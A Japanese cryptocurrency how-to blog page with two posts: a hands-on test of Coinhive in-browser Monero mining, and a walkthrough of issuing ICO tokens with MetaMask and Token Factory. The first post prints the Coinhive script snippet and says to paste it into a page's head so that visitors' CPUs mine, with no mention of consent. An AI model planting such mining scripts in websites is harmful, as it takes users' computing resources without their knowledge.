仮想通貨 技術研究所

仮想通貨 技術研究所

実際に手を動かすことを重視した仮想通貨のHow toブログ

閲覧者のCPUパワーで仮想通貨マイニングしてみた | Coinhive で XMR マイニング

f:id:tetsuyaimagawa:20170921130304j:plain

あらすじ

トレントサイトが、訪問者のCPUを使って仮想通貨マイニングをするという事件が起こった。

gigazine.net


一体どんなトリックを…と調べたところ
どうやらjsで簡単にできてしまうようだ。

なんと恐ろしい。

というわけで、いつもの調子でやってみたログを残す。



Coinhiveのアカウント作成

Coinhiveのサイトからサインアップする。
coin-hive.com






f:id:tetsuyaimagawa:20170921131036p:plain

メールとパスワードを登録すると、認証メールが届くので確認する。





f:id:tetsuyaimagawa:20170921131336p:plain

ペイメント設定をする。
MyMoneroのウォレットが必要。




MyMoneroでウォレット作成

MyMoneroでウォレット作成。


f:id:tetsuyaimagawa:20170921131904p:plain
Create an accountを押す。



f:id:tetsuyaimagawa:20170921131812p:plain
Your Private Login Key をメモ帳に保存する。
そしてConfirm your Private Login Keyにコピペし、ログイン。





f:id:tetsuyaimagawa:20170921132222p:plain

出て来たアドレスをコピーし、CoinhiveのMonero Payment Addressにペーストする。


Site keyの取得

Sites & API Keysの設定ページでサイト名を入れて、Site Key (Public)を取得する。
f:id:tetsuyaimagawa:20170921133005p:plain


Script取得

Coinhiveのトップページにある下記ソースをコピる。

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
	var miner = new CoinHive.User('<site-key>', 'john-doe');
	miner.start();
</script>

site-keyを先ほどのSite Key (Public)に置き換える。


貼る

htmlのheadに貼る。

訪問すると、PCがウァンウァン言い出す。
デベロッパーツールを開くと、たしかにjsが変なものを召喚している。
f:id:tetsuyaimagawa:20170921133516p:plain


マイニング状況を見る

ダッシュボードで状況が見れる。



しばらくPCをウァンウァン言わせてから、ダッシュボードを覗く。




f:id:tetsuyaimagawa:20170921135154p:plain




お…




早速 0.00000876 XMR 儲かったようだ。




何もしなくてもお金が儲かってしまった。




日本の未来は明るい。




ちなみに




0.00000876 XMR は




日本円に換算すると9銭らしい





・・・




f:id:tetsuyaimagawa:20170921134901j:plain




_人人人_
> 9 銭 <
 ̄YYY ̄




働きたくないでござるーーーーー!!!





地道にコインチェックで儲けていくことにしました。





めでたし。

ICOしてみた | 自分がやる場合の技術的な話【最終回】

f:id:tetsuyaimagawa:20170905152100p:plain

前回までのあらすじ

BTCのジェネシスを生成し、ETHのgenesis.jsonを書き換え
ソースコードと奮闘していた私は、ついに気づいてしまった。

ICOに技術はいらないことに…


今回のあらすじ

トークンを発行し、ICOをするまでのプロセスを説明する。


ICOの流れ

BTCやETHのアドレスを公開し、ICOのレートを事前に伝え、単純に送金してもらう。
送金して貰ったアドレスにトークン(独自通貨)を戻す。必要なものは

  1. トーク
  2. ICO用ウェブページ
  3. ホワイトペーパー(任意)

BTCとETHを購入する

日本のメジャーな仮想通貨取引所であるCoincheckでBTCを購入する。



BTCのトークン発行

トークンは独自通貨のことである。BTCやETH等のブロックチェーンに独自通貨を乗せる形になる。
BTCの場合は、CounterwalletにBTCとXCPを送金すればすぐできる。日本語記事も結構あるのでご参照。
Counterwallet - Free Web Wallet for Bitcoin and Counterparty


ETHのトークン発行

ETHの方が一つのウォレットで様々なトークンを保存できるので好まれる。
Why do ICO s choose ETH rather than BTC? - Coin Noob

Walletから発行するのが正攻法なのかもしれないが
Create a cryptocurrency contract in Ethereum
Walletはノードを全てダウンロードしなければならないので、METAMASKとToken factoryを使う。

MetaMaskインストール

ETHのDappをブラウザで実行できるChrome plugin。
MetaMask
ETHが必要なので、少額送っておく。

Token factoryでトークン発行

下記ページのCreate Token Contractを選んで、必要項目を入れ、Create Tokenを押す。
Token Factory
MetaMaskが立ち上がるので、Acceptを押す。コントラクトが作成される。

Token factoryで入力した情報が反映されている。


スマートコントラクト改変

例によって、既存のコントラクトから学ぶ。
トークン"RvT"

コマンドラインから

正攻法は↓らしい。
www.ethereum.org
時間がかかりそうなのでMyEtherWalletからやる↓

MyEtherWalletから

Contract -> DeployContractでできる。

SourceからByteCodeへの変換

↓Remixを使う。
Remix - Solidity IDE
右側のメニューにある、Contract details (bytecode, interface etc.)をクリックするとSourceをByteCodeに変換したものが出てくる。

ByteCodeをOpcodeへ変換

↓EtherScanで行う。
Ethereum ByteCode to Opcodes Disassembler/Decoder


ICOページの作成

下記項目を記したページを作成する。

メールアドレスを入力させ、会員登録をするのが一般的のよう。
ETHに載せられるDataやGasの量も明記する。

それっぽいjsカウンターとか持ってきて、作ってみた。
influencer.link

これも既存のICOページを色々見てみるのが一番の近道。


法的な話

改正資金決済法により、登録事業者以外の仮想通貨の売買は規制されている。
business.bengo4.com

規制はされているが、グレーゾーンで、実際やったらどうなるか分からないというのが一般的見解だったが
ALISが入念に調べまくって突っ走った事例があるので、ICOされたい方は必読である。
medium.com

その後の調べによると、どうやら仮想通貨をトークンと交換するだけでは資金決済法に抵触しないという見解が一般的になっているようだ。

まとめ

ICO技術についてまとめた。
技術的に難しいことではないので、どちらかと言うと弁護士や有識者から、どれだけ助けを貰えるかの方が重要な気がする。